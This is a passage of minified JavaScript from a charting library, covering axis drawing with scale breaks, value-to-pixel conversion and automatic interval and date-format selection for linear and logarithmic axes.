u(this.scaleBreaks.firstBreakIndex))if(u(this.scaleBreaks.lastBreakIndex))e=this.sc
aleBreaks._appliedBreaks[this.scaleBreaks.firstBreakIndex].endPixel+c;else for(var
l=
this.scaleBreaks.firstBreakIndex;l<=this.scaleBreaks.lastBreakIndex;l+
+)d.moveTo(e,k),d.lineTo(this.scaleBreaks._appliedBreaks[l].startPixel+b,k),e=this.
scaleBreaks._appliedBreaks[l].endPixel+c;e&&(d.moveTo(e,k),d.lineTo(g,k));d.stroke(
)}}else if(("left"===this._position||"right"===this._position)&&this.lineThickness)
{this.reversed?(e=this.lineCoordinates.y1,g=this.lineCoordinates.y2):
(e=this.lineCoordinates.y2,g=this.lineCoordinates.y1);d.lineWidth=this.lineThicknes
s;d.strokeStyle=this.lineColor;
d.setLineDash&&d.setLineDash(R(this.lineDashType,this.lineThickness));k=1===this.li
neThickness%2?
(this.lineCoordinates.x1<<0)+0.5:this.lineCoordinates.x1<<0;d.beginPath();if(this.s
caleBreaks&&!
u(this.scaleBreaks.firstBreakIndex))if(u(this.scaleBreaks.lastBreakIndex))e=this.sc
aleBreaks._appliedBreaks[this.scaleBreaks.firstBreakIndex].endPixel+b;else
for(l=this.scaleBreaks.firstBreakIndex;l<=this.scaleBreaks.lastBreakIndex;l+
+)d.moveTo(k,e),d.lineTo(k,this.scaleBreaks._appliedBreaks[l].startPixel+c),
e=this.scaleBreaks._appliedBreaks[l].endPixel+b;e&&(d.moveTo(k,e),d.lineTo(k,g));d.
stroke()}r&&(a.drawImage(this.chart._preRenderCanvas,0,0,this.chart.width,this.char
t.height),this.chart._breaksCanvasCtx&&this.chart._breaksCanvasCtx.drawImage(this.c
hart._preRenderCanvas,0,0,this.chart.width,this.chart.height),d.clearRect(0,0,this.
chart.width,this.chart.height));d.restore()};z.prototype.getPixelCoordinatesOnAxis=
function(a){var
d={};if("bottom"===this._position||"top"===this._position)d.x=this.convertValueToPi
xel(a),
d.y=this.lineCoordinates.y1;if("left"===this._position||"right"===this._position)d.
y=this.convertValueToPixel(a),d.x=this.lineCoordinates.x2;return
d};z.prototype.convertPixelToValue=function(a){if("undefined"===typeof a)return
null;var d=0,b=0,c,d=!0,e=this.scaleBreaks?this.scaleBreaks._appliedBreaks:
[],b="number"===typeof a?a:"left"===this._position||"right"===this._position?
a.y:a.x;if(this.logarithmic){a=c=Math.pow(this.logarithmBase,(b-
this.conversionParameters.reference)/this.conversionParameters.pixelPerUnit);
if(b<=this.conversionParameters.reference===("left"===this._position||"right"===thi
s._position)!==this.reversed)for(b=0;b<e.length;b++){if(!
(e[b].endValue<this.conversionParameters.minimum))if(d)if(e[b].startValue<this.conv
ersionParameters.minimum)
{if(1<e[b].size&&this.conversionParameters.minimum*Math.pow(e[b].endValue/e[b].star
tValue,Math.log(c)/Math.log(e[b].size))<e[b].endValue)
{a=Math.pow(e[b].endValue/e[b].startValue,Math.log(c)/Math.log(e[b].size));break}el
se a*=e[b].endValue/this.conversionParameters.minimum/
Math.pow(e[b].size,Math.log(e[b].endValue/this.conversionParameters.minimum)/Math.l
og(e[b].endValue/e[b].startValue)),c/=Math.pow(e[b].size,Math.log(e[b].endValue/thi
s.conversionParameters.minimum)/Math.log(e[b].endValue/e[b].startValue));d=!1}else
if(c>e[b].startValue/this.conversionParameters.minimum)
{c/=e[b].startValue/this.conversionParameters.minimum;if(c<e[b].size)
{a*=Math.pow(e[b].endValue/e[b].startValue,1===e[b].size?
1:Math.log(c)/Math.log(e[b].size))/c;break}else a*=e[b].endValue/e[b].startValue/
e[b].size;c/=e[b].size;d=!1}else break;else if(c>e[b].startValue/e[b-1].endValue)
{c/=e[b].startValue/e[b-1].endValue;if(c<e[b].size)
{a*=Math.pow(e[b].endValue/e[b].startValue,1===e[b].size?
1:Math.log(c)/Math.log(e[b].size))/c;break}else
a*=e[b].endValue/e[b].startValue/e[b].size;c/=e[b].size}else break}else
for(b=e.length-1;0<=b;b--)if(!
(e[b].startValue>this.conversionParameters.minimum))if(d)if(e[b].endValue>this.conv
ersionParameters.minimum)
{if(1<e[b].size&&this.conversionParameters.minimum*Math.pow(e[b].endValue/
e[b].startValue,Math.log(c)/Math.log(e[b].size))>e[b].startValue)
{a=Math.pow(e[b].endValue/e[b].startValue,Math.log(c)/Math.log(e[b].size));break}el
se
a*=e[b].startValue/this.conversionParameters.minimum*Math.pow(e[b].size,Math.log(e[
b].startValue/this.conversionParameters.minimum)/Math.log(e[b].endValue/e[b].startV
alue))*c,c*=Math.pow(e[b].size,Math.log(this.conversionParameters.minimum/e[b].star
tValue)/Math.log(e[b].endValue/e[b].startValue));d=!1}else
if(c<e[b].endValue/this.conversionParameters.minimum){c/=
e[b].endValue/this.conversionParameters.minimum;if(c>1/e[b].size)
{a*=Math.pow(e[b].endValue/e[b].startValue,1>=e[b].size?
1:Math.log(c)/Math.log(e[b].size))*c;break}else
a/=e[b].endValue/e[b].startValue/e[b].size;c*=e[b].size;d=!1}else break;else
if(c<e[b].endValue/e[b+1].startValue)
{c/=e[b].endValue/e[b+1].startValue;if(c>1/e[b].size)
{a*=Math.pow(e[b].endValue/e[b].startValue,1>=e[b].size?
1:Math.log(c)/Math.log(e[b].size))*c;break}else
a/=e[b].endValue/e[b].startValue/e[b].size;c*=e[b].size}else break;
d=a*this.viewportMinimum}else{a=c=(b-
this.conversionParameters.reference)/this.conversionParameters.pixelPerUnit;if(b<=t
his.conversionParameters.reference===("left"===this._position||"right"===this._posi
tion)!==this.reversed)for(b=0;b<e.length;b++){if(!
(e[b].endValue<this.conversionParameters.minimum))if(d)if(e[b].startValue<this.conv
ersionParameters.minimum)
{if(e[b].size&&this.conversionParameters.minimum+c*(e[b].endValue-
e[b].startValue)/e[b].size<e[b].endValue){a=0>=e[b].size?0:c*(e[b].endValue-
e[b].startValue)/e[b].size;break}else a+=e[b].endValue-
this.conversionParameters.minimum-e[b].size*(e[b].endValue-
this.conversionParameters.minimum)/(e[b].endValue-e[b].startValue),c-
=e[b].size*(e[b].endValue-this.conversionParameters.minimum)/(e[b].endValue-
e[b].startValue);d=!1}else if(c>e[b].startValue-this.conversionParameters.minimum)
{c-=e[b].startValue-this.conversionParameters.minimum;if(c<e[b].size)
{a+=(e[b].endValue-e[b].startValue)*(0===e[b].size?1:c/e[b].size)-c;break}else
a+=e[b].endValue-
e[b].startValue-e[b].size;c-=e[b].size;d=!1}else break;else if(c>e[b].startValue-
e[b-1].endValue){c-=e[b].startValue-e[b-1].endValue;if(c<e[b].size)
{a+=(e[b].endValue-e[b].startValue)*(0===e[b].size?1:c/e[b].size)-c;break}else
a+=e[b].endValue-e[b].startValue-e[b].size;c-=e[b].size}else break}else
for(b=e.length-1;0<=b;b--)if(!
(e[b].startValue>this.conversionParameters.minimum))if(d)if(e[b].endValue>this.conv
ersionParameters.minimum)if(e[b].size&&this.conversionParameters.minimum+c*(e[b].en
dValue-
e[b].startValue)/e[b].size>e[b].startValue){a=0>=e[b].size?0:c*(e[b].endValue-
e[b].startValue)/e[b].size;break}else a+=e[b].startValue-
this.conversionParameters.minimum+e[b].size*(this.conversionParameters.minimum-
e[b].startValue)/(e[b].endValue-
e[b].startValue),c+=e[b].size*(this.conversionParameters.minimum-e[b].startValue)/
(e[b].endValue-e[b].startValue),d=!1;else if(c<e[b].endValue-
this.conversionParameters.minimum){c-=e[b].endValue-
this.conversionParameters.minimum;if(c>-1*e[b].size){a+=(e[b].endValue-
e[b].startValue)*(0===e[b].size?1:c/e[b].size)+c;break}else a-=e[b].endValue-
e[b].startValue-e[b].size;c+=e[b].size;d=!1}else break;else if(c<e[b].endValue-
e[b+1].startValue){c-=e[b].endValue-e[b+1].startValue;if(c>-1*e[b].size)
{a+=(e[b].endValue-e[b].startValue)*(0===e[b].size?1:c/e[b].size)+c;break}else a-
=e[b].endValue-e[b].startValue-e[b].size;c+=e[b].size}else
break;d=this.conversionParameters.minimum+a}return
d};z.prototype.convertValueToPixel=function(a)
{a=this.getApparentDifference(this.conversionParameters.minimum,
a,a);return this.logarithmic?
this.conversionParameters.reference+this.conversionParameters.pixelPerUnit*Math.log
(a/this.conversionParameters.minimum)/this.conversionParameters.lnLogarithmBase+0.5
<<0:"axisX"===this.type?
this.conversionParameters.reference+this.conversionParameters.pixelPerUnit*(a-
this.conversionParameters.minimum)
+0.5<<0:this.conversionParameters.reference+this.conversionParameters.pixelPerUnit*
(a-this.conversionParameters.minimum)
+0.5};z.prototype.getApparentDifference=function(a,
d,b,c){var e=this.scaleBreaks?this.scaleBreaks._appliedBreaks:
[];if(this.logarithmic){b=u(b)?d/a:b;for(var g=0;g<e.length&&!
(d<e[g].startValue);g++)a>e[g].endValue||(a<=e[g].startValue&&d>=e[g].endValue?
b=b/e[g].endValue*e[g].startValue*e[g].size:a>=e[g].startValue&&d>=e[g].endValue?
b=b/e[g].endValue*a*Math.pow(e[g].size,Math.log(e[g].endValue/a)/Math.log(e[g].endV
alue/e[g].startValue)):a<=e[g].startValue&&d<=e[g].endValue?
b=b/d*e[g].startValue*Math.pow(e[g].size,Math.log(d/e[g].startValue)/Math.log(e[g].
endValue/
e[g].startValue)):!
c&&(a>e[g].startValue&&d<e[g].endValue)&&(b=a*Math.pow(e[g].size,Math.log(d/a)/Math
.log(e[g].endValue/e[g].startValue))))}else for(b=u(b)?Math.abs(d-
a):b,g=0;g<e.length&&!(d<e[g].startValue);g++)a>e[g].endValue||
(a<=e[g].startValue&&d>=e[g].endValue?b=b-
e[g].endValue+e[g].startValue+e[g].size:a>e[g].startValue&&d>=e[g].endValue?b=b-
e[g].endValue+a+e[g].size*(e[g].endValue-a)/(e[g].endValue-
e[g].startValue):a<=e[g].startValue&&d<e[g].endValue?b=b-
d+e[g].startValue+e[g].size*(d-e[g].startValue)/
(e[g].endValue-e[g].startValue):!
c&&(a>e[g].startValue&&d<e[g].endValue)&&(b=a+e[g].size*(d-a)/(e[g].endValue-
e[g].startValue)));return b};z.prototype.setViewPortRange=function(a,d)
{this.sessionVariables.newViewportMinimum=this.viewportMinimum=Math.min(a,d);this.s
essionVariables.newViewportMaximum=this.viewportMaximum=Math.max(a,d)};z.prototype.
getXValueAt=function(a){if(!a)return null;var d=null;"left"===this._position?
d=this.convertPixelToValue(a.y):"bottom"===this._position&&(d=this.convertPixelToVa
lue(a.x));
return d};z.prototype.calculateValueToPixelConversionParameters=function(a)
{a=this.scaleBreaks?this.scaleBreaks._appliedBreaks:[];var
d={pixelPerUnit:null,minimum:null,reference:null},b=this.lineCoordinates.width,c=th
is.lineCoordinates.height,b="bottom"===this._position||"top"===this._position?
b:c,c=Math.abs(this.range);if(this.logarithmic)for(var e=0;e<a.length&&!
(this.viewportMaximum<a[e].startValue);e++)this.viewportMinimum>a[e].endValue||
(this.viewportMinimum>=a[e].startValue&&this.viewportMaximum<=
a[e].endValue?
b=0:this.viewportMinimum<=a[e].startValue&&this.viewportMaximum>=a[e].endValue?
(c=c/a[e].endValue*a[e].startValue,b=0<a[e].spacing.toString().indexOf("%")?b*(1-
parseFloat(a[e].spacing)/100):b-
Math.min(a[e].spacing,0.1*b)):this.viewportMinimum>a[e].startValue&&this.viewportMa
ximum>=a[e].endValue?
(c=c/a[e].endValue*this.viewportMinimum,b=0<a[e].spacing.toString().indexOf("%")?
b*(1-
parseFloat(a[e].spacing)/100*Math.log(a[e].endValue/this.viewportMinimum)/Math.log(
a[e].endValue/a[e].startValue)):
b-
Math.min(a[e].spacing,0.1*b)*Math.log(a[e].endValue/this.viewportMinimum)/Math.log(
a[e].endValue/a[e].startValue)):this.viewportMinimum<=a[e].startValue&&this.viewpor
tMaximum<a[e].endValue&&(c=c/this.viewportMaximum*a[e].startValue,b=0<a[e].spacing.
toString().indexOf("%")?b*(1-
parseFloat(a[e].spacing)/100*Math.log(this.viewportMaximum/a[e].startValue)/Math.lo
g(a[e].endValue/a[e].startValue)):b-
Math.min(a[e].spacing,0.1*b)*Math.log(this.viewportMaximum/a[e].startValue)/Math.lo
g(a[e].endValue/a[e].startValue)));
else for(e=0;e<a.length&&!(this.viewportMaximum<a[e].startValue);e+
+)this.viewportMinimum>a[e].endValue||
(this.viewportMinimum>=a[e].startValue&&this.viewportMaximum<=a[e].endValue?
b=0:this.viewportMinimum<=a[e].startValue&&this.viewportMaximum>=a[e].endValue?
(c=c-a[e].endValue+a[e].startValue,b=0<a[e].spacing.toString().indexOf("%")?b*(1-
parseFloat(a[e].spacing)/100):b-
Math.min(a[e].spacing,0.1*b)):this.viewportMinimum>a[e].startValue&&this.viewportMa
ximum>=a[e].endValue?(c=c-a[e].endValue+this.viewportMinimum,
b=0<a[e].spacing.toString().indexOf("%")?b*(1-
parseFloat(a[e].spacing)/100*(a[e].endValue-this.viewportMinimum)/(a[e].endValue-
a[e].startValue)):b-Math.min(a[e].spacing,0.1*b)*(a[e].endValue-
this.viewportMinimum)/(a[e].endValue-
a[e].startValue)):this.viewportMinimum<=a[e].startValue&&this.viewportMaximum<a[e].
endValue&&(c=c-
this.viewportMaximum+a[e].startValue,b=0<a[e].spacing.toString().indexOf("%")?b*(1-
parseFloat(a[e].spacing)/100*(this.viewportMaximum-a[e].startValue)/(a[e].endValue-
a[e].startValue)):
b-Math.min(a[e].spacing,0.1*b)*(this.viewportMaximum-a[e].startValue)/
(a[e].endValue-
a[e].startValue)));d.minimum=this.viewportMinimum;d.maximum=this.viewportMaximum;d.
range=c;if("bottom"===this._position||"top"===this._position)this.logarithmic?
(d.lnLogarithmBase=Math.log(this.logarithmBase),d.pixelPerUnit=(this.reversed?-
1:1)*b*d.lnLogarithmBase/Math.log(Math.abs(c))):d.pixelPerUnit=(this.reversed?-
1:1)*b/Math.abs(c),d.reference=this.reversed?
this.lineCoordinates.x2:this.lineCoordinates.x1;if("left"===
this._position||"right"===this._position)this.logarithmic?
(d.lnLogarithmBase=Math.log(this.logarithmBase),d.pixelPerUnit=(this.reversed?1:-
1)*b*d.lnLogarithmBase/Math.log(Math.abs(c))):d.pixelPerUnit=(this.reversed?1:-
1)*b/Math.abs(c),d.reference=this.reversed?
this.lineCoordinates.y1:this.lineCoordinates.y2;this.conversionParameters=d};z.prot
otype.calculateAxisParameters=function()
{if(this.logarithmic)this.calculateLogarithmicAxisParameters();else{var
a=this.chart.layoutManager.getFreeSpace(),d=!1,
b=!1;"bottom"===this._position||"top"===this._position?
(this.maxWidth=a.width,this.maxHeight=a.height):
(this.maxWidth=a.height,this.maxHeight=a.width);var
a="axisX"===this.type?"xySwapped"===this.chart.plotInfo.axisPlacement?
62:70:"xySwapped"===this.chart.plotInfo.axisPlacement?
50:40,c=4;"axisX"===this.type&&(c=600>this.maxWidth?8:6);var
a=Math.max(c,Math.floor(this.maxWidth/a)),e,g,k,c=0;!
u(this.options.viewportMinimum)&&(!
u(this.options.viewportMaximum)&&this.options.viewportMinimum>=this.options.viewpor
tMaximum)&&
(this.viewportMinimum=this.viewportMaximum=null);if(u(this.options.viewportMinimum)
&&!u(this.sessionVariables.newViewportMinimum)&&!
isNaN(this.sessionVariables.newViewportMinimum))this.viewportMinimum=this.sessionVa
riables.newViewportMinimum;else if(null===this.viewportMinimum||
isNaN(this.viewportMinimum))this.viewportMinimum=this.minimum;if(u(this.options.vie
wportMaximum)&&!u(this.sessionVariables.newViewportMaximum)&&!
isNaN(this.sessionVariables.newViewportMaximum))this.viewportMaximum=this.sessionVa
riables.newViewportMaximum;
else if(null===this.viewportMaximum||
isNaN(this.viewportMaximum))this.viewportMaximum=this.maximum;if(this.scaleBreaks)f
or(c=0;c<this.scaleBreaks._appliedBreaks.length;c++)if((!
u(this.sessionVariables.newViewportMinimum)&&this.sessionVariables.newViewportMinim
um>=this.scaleBreaks._appliedBreaks[c].startValue||!
u(this.options.minimum)&&this.options.minimum>=this.scaleBreaks._appliedBreaks[c].s
tartValue||!
u(this.options.viewportMinimum)&&this.viewportMinimum>=this.scaleBreaks._appliedBre
aks[c].startValue)&&
(!
u(this.sessionVariables.newViewportMaximum)&&this.sessionVariables.newViewportMaxim
um<=this.scaleBreaks._appliedBreaks[c].endValue||!
u(this.options.maximum)&&this.options.maximum<=this.scaleBreaks._appliedBreaks[c].e
ndValue||!
u(this.options.viewportMaximum)&&this.viewportMaximum<=this.scaleBreaks._appliedBre
aks[c].endValue))
{this.scaleBreaks._appliedBreaks.splice(c,1);break}if("axisX"===this.type)
{if(this.dataSeries&&0<this.dataSeries.length)for(e=0;e<this.dataSeries.length;e+
+)"dateTime"===this.dataSeries[e].xValueType&&
(b=!0);e=null!==this.viewportMinimum?
this.viewportMinimum:this.dataInfo.viewPortMin;g=null!==this.viewportMaximum?
this.viewportMaximum:this.dataInfo.viewPortMax;0===g-e&&(c="undefined"===typeof
this.options.interval?0.4:this.options.interval,g+=c,e-=c);Infinity!
==this.dataInfo.minDiff?k=this.dataInfo.minDiff:1<g-e?k=0.5*Math.abs(g-e):
(k=1,b&&(d=!0))}else"axisY"===this.type&&(e=null!==this.viewportMinimum?
this.viewportMinimum:this.dataInfo.viewPortMin,g=null!==this.viewportMaximum?
this.viewportMaximum:
this.dataInfo.viewPortMax,isFinite(e)||isFinite(g)?isFinite(e)?isFinite(g)||
(g=e):e=g:(g="undefined"===typeof this.options.interval?-
Infinity:this.options.interval,e="undefined"!==typeof this.options.interval||
isFinite(this.dataInfo.minDiff)?0:Infinity),0===e&&0===g?(g+=9,e=0):0===g-e?
(c=Math.min(Math.abs(0.01*Math.abs(g)),5),g+=c,e-=c):e>g?
(c=Math.min(0.01*Math.abs(this.getApparentDifference(g,e,null,!0)),5),0<=g?e=g-
c:g=isFinite(e)?e+c:0):(c=Math.min(0.01*Math.abs(this.getApparentDifference(e,g,
null,!0)),0.05),0!==g&&(g+=c),0!==e&&(e-=c)),k=Infinity!==this.dataInfo.minDiff?
this.dataInfo.minDiff:1<g-e?0.5*Math.abs(g-
e):1,this.includeZero&&(null===this.viewportMinimum||
isNaN(this.viewportMinimum))&&0<e&&(e=0),this.includeZero&&(null===this.viewportMax
imum||
isNaN(this.viewportMaximum))&&0>g&&(g=0));c=this.getApparentDifference(isNaN(this.v
iewportMinimum)||null===this.viewportMinimum?
e:this.viewportMinimum,isNaN(this.viewportMaximum)||null===this.viewportMaximum?
g:this.viewportMaximum,null,
!0);if("axisX"===this.type&&b){this.intervalType||(c/1<=a?
(this.interval=1,this.intervalType="millisecond"):c/2<=a?
(this.interval=2,this.intervalType="millisecond"):c/5<=a?
(this.interval=5,this.intervalType="millisecond"):c/10<=a?
(this.interval=10,this.intervalType="millisecond"):c/20<=a?
(this.interval=20,this.intervalType="millisecond"):c/50<=a?
(this.interval=50,this.intervalType="millisecond"):c/100<=a?
(this.interval=100,this.intervalType="millisecond"):c/200<=a?
(this.interval=200,this.intervalType=
"millisecond"):c/250<=a?
(this.interval=250,this.intervalType="millisecond"):c/300<=a?
(this.interval=300,this.intervalType="millisecond"):c/400<=a?
(this.interval=400,this.intervalType="millisecond"):c/500<=a?
(this.interval=500,this.intervalType="millisecond"):c/(1*S.secondDuration)<=a?
(this.interval=1,this.intervalType="second"):c/(2*S.secondDuration)<=a?
(this.interval=2,this.intervalType="second"):c/(5*S.secondDuration)<=a?
(this.interval=5,this.intervalType="second"):c/(10*S.secondDuration)<=a?
(this.interval=
10,this.intervalType="second"):c/(15*S.secondDuration)<=a?
(this.interval=15,this.intervalType="second"):c/(20*S.secondDuration)<=a?
(this.interval=20,this.intervalType="second"):c/(30*S.secondDuration)<=a?
(this.interval=30,this.intervalType="second"):c/(1*S.minuteDuration)<=a?
(this.interval=1,this.intervalType="minute"):c/(2*S.minuteDuration)<=a?
(this.interval=2,this.intervalType="minute"):c/(5*S.minuteDuration)<=a?
(this.interval=5,this.intervalType="minute"):c/(10*S.minuteDuration)<=a?
(this.interval=
10,this.intervalType="minute"):c/(15*S.minuteDuration)<=a?
(this.interval=15,this.intervalType="minute"):c/(20*S.minuteDuration)<=a?
(this.interval=20,this.intervalType="minute"):c/(30*S.minuteDuration)<=a?
(this.interval=30,this.intervalType="minute"):c/(1*S.hourDuration)<=a?
(this.interval=1,this.intervalType="hour"):c/(2*S.hourDuration)<=a?
(this.interval=2,this.intervalType="hour"):c/(3*S.hourDuration)<=a?
(this.interval=3,this.intervalType="hour"):c/(6*S.hourDuration)<=a?
(this.interval=6,this.intervalType=
"hour"):c/(1*S.dayDuration)<=a?(this.interval=1,this.intervalType="day"):c/
(2*S.dayDuration)<=a?(this.interval=2,this.intervalType="day"):c/
(4*S.dayDuration)<=a?(this.interval=4,this.intervalType="day"):c/
(1*S.weekDuration)<=a?(this.interval=1,this.intervalType="week"):c/
(2*S.weekDuration)<=a?(this.interval=2,this.intervalType="week"):c/
(3*S.weekDuration)<=a?(this.interval=3,this.intervalType="week"):c/
(1*S.monthDuration)<=a?(this.interval=1,this.intervalType="month"):c/
(2*S.monthDuration)<=a?(this.interval=
2,this.intervalType="month"):c/(3*S.monthDuration)<=a?
(this.interval=3,this.intervalType="month"):c/(6*S.monthDuration)<=a?
(this.interval=6,this.intervalType="month"):(this.interval=c/(1*S.yearDuration)<=a?
1:c/(2*S.yearDuration)<=a?2:c/(4*S.yearDuration)<=a?4:Math.floor(z.getNiceNumber(c/
(a-1),!
0)/S.yearDuration),this.intervalType="year"));if(null===this.viewportMinimum||
isNaN(this.viewportMinimum))this.viewportMinimum=e-
k/2;if(null===this.viewportMaximum||
isNaN(this.viewportMaximum))this.viewportMaximum=
g+k/2;d?this.autoValueFormatString="MMM DD YYYY HH:mm":"year"===this.intervalType?
this.autoValueFormatString="YYYY":"month"===this.intervalType?
this.autoValueFormatString="MMM YYYY":"week"===this.intervalType?
this.autoValueFormatString="MMM DD YYYY":"day"===this.intervalType?
this.autoValueFormatString="MMM DD YYYY":"hour"===this.intervalType?
this.autoValueFormatString="hh:mm TT":"minute"===this.intervalType?
this.autoValueFormatString="hh:mm TT":"second"===this.intervalType?
this.autoValueFormatString=
"hh:mm:ss
TT":"millisecond"===this.intervalType&&(this.autoValueFormatString="fff'ms'");this.
valueFormatString||
(this.valueFormatString=this.autoValueFormatString)}else{this.intervalType="number"
;c=z.getNiceNumber(c,!1);this.interval=this.options&&0<this.options.interval?
this.options.interval:z.getNiceNumber(c/(a-1),!0);if(null===this.viewportMinimum||
isNaN(this.viewportMinimum))this.viewportMinimum="axisX"===this.type?e-
k/2:Math.floor(e/this.interval)*this.interval;if(null===this.viewportMaximum||
isNaN(this.viewportMaximum))this.viewportMaximum="axisX"===this.type?
g+k/2:Math.ceil(g/this.interval)*this.interval;0===this.viewportMaximum&&0===this.v
iewportMinimum&&(0===this.options.viewportMinimum?
this.viewportMaximum+=10:0===this.options.viewportMaximum&&(this.viewportMinimum-
=10),this.options&&"undefined"===typeof
this.options.interval&&(this.interval=z.getNiceNumber((this.viewportMaximum-
this.viewportMinimum)/(a-1),!0)))}if(null===this.minimum||
null===this.maximum)if("axisX"===this.type?(e=
null!==this.minimum?this.minimum:this.dataInfo.min,g=null!==this.maximum?
this.maximum:this.dataInfo.max,0===g-e&&(c="undefined"===typeof
this.options.interval?0.4:this.options.interval,g+=c,e-=c),k=Infinity!
==this.dataInfo.minDiff?this.dataInfo.minDiff:1<g-e?0.5*Math.abs(g-
e):1):"axisY"===this.type&&(e=null!==this.minimum?
this.minimum:this.dataInfo.min,g=null!==this.maximum?
this.maximum:this.dataInfo.max,isFinite(e)||isFinite(g)?0===e&&0===g?
(g+=9,e=0):0===g-e?(c=Math.min(Math.abs(0.01*Math.abs(g)),
5),g+=c,e-=c):e>g?(c=Math.min(0.01*Math.abs(this.getApparentDifference(g,e,null,!
0)),5),0<=g?e=g-c:g=isFinite(e)?e+c:0):
(c=Math.min(0.01*Math.abs(this.getApparentDifference(e,g,null,!0)),0.05),0!
==g&&(g+=c),0!==e&&(e-=c)):(g="undefined"===typeof this.options.interval?-
Infinity:this.options.interval,e="undefined"!==typeof this.options.interval||
isFinite(this.dataInfo.minDiff)?0:Infinity),k=Infinity!==this.dataInfo.minDiff?
this.dataInfo.minDiff:1<g-e?0.5*Math.abs(g-
e):1,this.includeZero&&(null===this.minimum||
isNaN(this.minimum))&&0<e&&(e=0),this.includeZero&&(null===this.maximum||
isNaN(this.maximum))&&0>g&&(g=0)),Math.abs(this.getApparentDifference(e,g,null,!
0)),"axisX"===this.type&&b){this.valueType="dateTime";if(null===this.minimum||
isNaN(this.minimum))this.minimum=e-k/2;if(null===this.maximum||
isNaN(this.maximum))this.maximum=g+k/2}else
this.intervalType=this.valueType="number",null===this.minimum&&(this.minimum="axisX
"===this.type?e-
k/2:Math.floor(e/this.interval)*this.interval,this.minimum=Math.min(this.minimum,
null===this.sessionVariables.viewportMinimum||
isNaN(this.sessionVariables.viewportMinimum)?
Infinity:this.sessionVariables.viewportMinimum)),null===this.maximum&&(this.maximum
="axisX"===this.type?
g+k/2:Math.ceil(g/this.interval)*this.interval,this.maximum=Math.max(this.maximum,n
ull===this.sessionVariables.viewportMaximum||
isNaN(this.sessionVariables.viewportMaximum)?-
Infinity:this.sessionVariables.viewportMaximum)),0===this.maximum&&0===this.minimum
&&(0===this.options.minimum?this.maximum+=10:0===
this.options.maximum&&(this.minimum-
=10));u(this.sessionVariables.newViewportMinimum)&&(this.viewportMinimum=Math.max(t
his.viewportMinimum,this.minimum));u(this.sessionVariables.newViewportMaximum)&&(th
is.viewportMaximum=Math.min(this.viewportMaximum,this.maximum));this.range=this.vie
wportMaximum-
this.viewportMinimum;this.intervalStartPosition="axisX"===this.type&&b?
this.getLabelStartPoint(new
Date(this.viewportMinimum),this.intervalType,this.interval):Math.floor((this.viewpo
rtMinimum+0.2*this.interval)/
this.interval)*this.interval;this.valueFormatString||
(this.valueFormatString=z.generateValueFormatString(this.range,2))}};z.prototype.ca
lculateLogarithmicAxisParameters=function(){var
a=this.chart.layoutManager.getFreeSpace(),d=Math.log(this.logarithmBase),b;"bottom"
===this._position||"top"===this._position?
(this.maxWidth=a.width,this.maxHeight=a.height):
(this.maxWidth=a.height,this.maxHeight=a.width);var a="axisX"===this.type?
500>this.maxWidth?
7:Math.max(7,Math.floor(this.maxWidth/100)):Math.max(Math.floor(this.maxWidth/
50),3),c,e,g,k;k=1;if(null===this.viewportMinimum||
isNaN(this.viewportMinimum))this.viewportMinimum=this.minimum;if(null===this.viewpo
rtMaximum||
isNaN(this.viewportMaximum))this.viewportMaximum=this.maximum;if(this.scaleBreaks)f
or(k=0;k<this.scaleBreaks._appliedBreaks.length;k++)if((!
u(this.sessionVariables.newViewportMinimum)&&this.sessionVariables.newViewportMinim
um>=this.scaleBreaks._appliedBreaks[k].startValue||!
u(this.options.minimum)&&this.options.minimum>=this.scaleBreaks._appliedBreaks[k].s
tartValue||
!
u(this.options.viewportMinimum)&&this.viewportMinimum>=this.scaleBreaks._appliedBre
aks[k].startValue)&&(!
u(this.sessionVariables.newViewportMaximum)&&this.sessionVariables.newViewportMaxim
um<=this.scaleBreaks._appliedBreaks[k].endValue||!
u(this.options.maximum)&&this.options.maximum<=this.scaleBreaks._appliedBreaks[k].e
ndValue||!
u(this.options.viewportMaximum)&&this.viewportMaximum<=this.scaleBreaks._appliedBre
aks[k].endValue))
{this.scaleBreaks._appliedBreaks.splice(k,1);break}"axisX"===this.type?
(c=null!==this.viewportMinimum?
this.viewportMinimum:this.dataInfo.viewPortMin,e=null!==this.viewportMaximum?
this.viewportMaximum:this.dataInfo.viewPortMax,1===e/c&&(k=Math.pow(this.logarithmB
ase,"undefined"===typeof this.options.interval?
0.4:this.options.interval),e*=k,c/=k),g=Infinity!==this.dataInfo.minDiff?
this.dataInfo.minDiff:e/c>this.logarithmBase?
e/c*Math.pow(this.logarithmBase,0.5):this.logarithmBase):"axisY"===this.type&&(c=nu
ll!==this.viewportMinimum?this.viewportMinimum:this.dataInfo.viewPortMin,
e=null!==this.viewportMaximum?
this.viewportMaximum:this.dataInfo.viewPortMax,0>=c&&!isFinite(e)?
(e="undefined"===typeof this.options.interval?0:this.options.interval,c=1):0>=c?
c=e:isFinite(e)||(e=c),1===c&&1===e?(e*=this.logarithmBase-
1/this.logarithmBase,c=1):1===e/c?
(k=Math.min(e*Math.pow(this.logarithmBase,0.01),Math.pow(this.logarithmBase,5)),e*=
k,c/=k):c>e?
(k=Math.min(c/e*Math.pow(this.logarithmBase,0.01),Math.pow(this.logarithmBase,5)),1
<=e?c=e/k:e=c*k):(k=Math.min(e/c*Math.pow(this.logarithmBase,
0.01),Math.pow(this.logarithmBase,0.04)),1!==e&&(e*=k),1!==c&&(c/=k)),g=Infinity!
==this.dataInfo.minDiff?this.dataInfo.minDiff:e/c>this.logarithmBase?
e/c*Math.pow(this.logarithmBase,0.5):this.logarithmBase,this.includeZero&&(null===t
his.viewportMinimum||
isNaN(this.viewportMinimum))&&1<c&&(c=1),this.includeZero&&(null===this.viewportMax
imum||isNaN(this.viewportMaximum))&&1>e&&(e=1));k=(isNaN(this.viewportMaximum)||
null===this.viewportMaximum?e:this.viewportMaximum)/(isNaN(this.viewportMinimum)||
null===
this.viewportMinimum?c:this.viewportMinimum);var l=(isNaN(this.viewportMaximum)||
null===this.viewportMaximum?e:this.viewportMaximum)-(isNaN(this.viewportMinimum)||
null===this.viewportMinimum?
c:this.viewportMinimum);this.intervalType="number";k=Math.pow(this.logarithmBase,z.
getNiceNumber(Math.abs(Math.log(k)/d),!1));this.options&&0<this.options.interval?
this.interval=this.options.interval:(this.interval=z.getNiceExponent(Math.log(k)/d/
(a-1),!0),b=z.getNiceNumber(l/(a-1),!0));if(null===this.viewportMinimum||
isNaN(this.viewportMinimum))this.viewportMinimum="axisX"===this.type?
c/Math.sqrt(g):Math.pow(this.logarithmBase,this.interval*Math.floor(Math.log(c)/d/t
